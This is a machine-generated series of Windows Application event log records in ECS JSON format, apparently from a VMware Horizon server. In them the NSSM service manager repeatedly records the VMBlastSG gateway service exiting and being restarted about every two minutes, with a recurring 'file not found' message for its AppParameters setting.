{"@timestamp":1646675535344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156928}}
{"@timestamp":1646675535345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156929}}
{"@timestamp":1646675535345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156930}}
{"@timestamp":1646675535346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156931}}
{"@timestamp":1646675663848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156932}}
{"@timestamp":1646675663848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156933}}
{"@timestamp":1646675663849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148600","0"]}}},"module":"Application","provider":"nssm","sequence":156934}}
{"@timestamp":1646675663851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148600","148600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156935}}
{"@timestamp":1646675663867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156936}}
{"@timestamp":1646675663868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156937}}
{"@timestamp":1646675663869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156938}}
{"@timestamp":1646675663870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156939}}
{"@timestamp":1646675792572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156940}}
{"@timestamp":1646675792574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156941}}
{"@timestamp":1646675792575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154220","0"]}}},"module":"Application","provider":"nssm","sequence":156942}}
{"@timestamp":1646675792576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154220","154220","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156943}}
{"@timestamp":1646675792594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156944}}
{"@timestamp":1646675792595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156945}}
{"@timestamp":1646675792595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156946}}
{"@timestamp":1646675792596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156947}}
{"@timestamp":1646675921072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156948}}
{"@timestamp":1646675921072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156949}}
{"@timestamp":1646675921073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147872","0"]}}},"module":"Application","provider":"nssm","sequence":156950}}
{"@timestamp":1646675921075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147872","147872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156951}}
{"@timestamp":1646675921091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156952}}
{"@timestamp":1646675921091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156953}}
{"@timestamp":1646675921092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156954}}
{"@timestamp":1646675921092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156955}}
{"@timestamp":1646676049592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156956}}
{"@timestamp":1646676049593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156957}}
{"@timestamp":1646676049593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154524","0"]}}},"module":"Application","provider":"nssm","sequence":156958}}
{"@timestamp":1646676049594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154524","154524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156959}}
{"@timestamp":1646676049611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156960}}
{"@timestamp":1646676049612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156961}}
{"@timestamp":1646676049612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156962}}
{"@timestamp":1646676049613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156963}}
{"@timestamp":1646676178103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156964}}
{"@timestamp":1646676178104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156965}}
{"@timestamp":1646676178105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153736","0"]}}},"module":"Application","provider":"nssm","sequence":156966}}
{"@timestamp":1646676178106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153736","153736","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156967}}
{"@timestamp":1646676178123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156968}}
{"@timestamp":1646676178124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156969}}
{"@timestamp":1646676178124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156970}}
{"@timestamp":1646676178125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156971}}
{"@timestamp":1646676306768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156972}}
{"@timestamp":1646676306769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156973}}
{"@timestamp":1646676306769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154356","0"]}}},"module":"Application","provider":"nssm","sequence":156974}}
{"@timestamp":1646676306770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154356","154356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156975}}
{"@timestamp":1646676306787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153424","0"]}}},"module":"Application","provider":"nssm","sequence":156976}}
{"@timestamp":1646676306788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153424","154356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156977}}
{"@timestamp":1646676306805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156978}}
{"@timestamp":1646676306807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156979}}
{"@timestamp":1646676306807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156980}}
{"@timestamp":1646676306809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156981}}
{"@timestamp":1646676435329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156982}}
{"@timestamp":1646676435330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156983}}
{"@timestamp":1646676435330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154452","0"]}}},"module":"Application","provider":"nssm","sequence":156984}}
{"@timestamp":1646676435331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154452","154452","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156985}}
{"@timestamp":1646676435347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156986}}
{"@timestamp":1646676435347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156987}}
{"@timestamp":1646676435348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156988}}
{"@timestamp":1646676435349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156989}}
{"@timestamp":1646676563836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156990}}
{"@timestamp":1646676563837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156991}}
{"@timestamp":1646676563837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153704","0"]}}},"module":"Application","provider":"nssm","sequence":156992}}
{"@timestamp":1646676563838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153704","153704","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156993}}
{"@timestamp":1646676563855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156994}}
{"@timestamp":1646676563855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156995}}
{"@timestamp":1646676563856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156996}}
{"@timestamp":1646676563857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156997}}
{"@timestamp":1646676692338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156998}}
{"@timestamp":1646676692339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156999}}
{"@timestamp":1646676692340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153628","0"]}}},"module":"Application","provider":"nssm","sequence":157000}}
{"@timestamp":1646676692341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153628","153628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157001}}
{"@timestamp":1646676692358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157002}}
{"@timestamp":1646676692358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157003}}
{"@timestamp":1646676692359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157004}}
{"@timestamp":1646676692359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157005}}
{"@timestamp":1646676820875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157006}}
{"@timestamp":1646676820875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157007}}
{"@timestamp":1646676820876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152988","0"]}}},"module":"Application","provider":"nssm","sequence":157008}}
{"@timestamp":1646676820877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152988","152988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157009}}
{"@timestamp":1646676820892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157010}}
{"@timestamp":1646676820893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157011}}
{"@timestamp":1646676820893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157012}}
{"@timestamp":1646676820894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157013}}
{"@timestamp":1646676949367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157014}}
{"@timestamp":1646676949368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157015}}
{"@timestamp":1646676949369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153484","0"]}}},"module":"Application","provider":"nssm","sequence":157016}}
{"@timestamp":1646676949371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153484","153484","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157017}}
{"@timestamp":1646676949386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157018}}
{"@timestamp":1646676949387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157019}}
{"@timestamp":1646676949387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157020}}
{"@timestamp":1646676949388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157021}}
{"@timestamp":1646677077886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157022}}
{"@timestamp":1646677077887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157023}}
{"@timestamp":1646677077888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152768","0"]}}},"module":"Application","provider":"nssm","sequence":157024}}
{"@timestamp":1646677077888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152768","152768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157025}}
{"@timestamp":1646677077904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157026}}
{"@timestamp":1646677077904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157027}}
{"@timestamp":1646677077905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157028}}
{"@timestamp":1646677077906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157029}}
{"@timestamp":1646677206393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157030}}
{"@timestamp":1646677206394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157031}}
{"@timestamp":1646677206394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152956","0"]}}},"module":"Application","provider":"nssm","sequence":157032}}
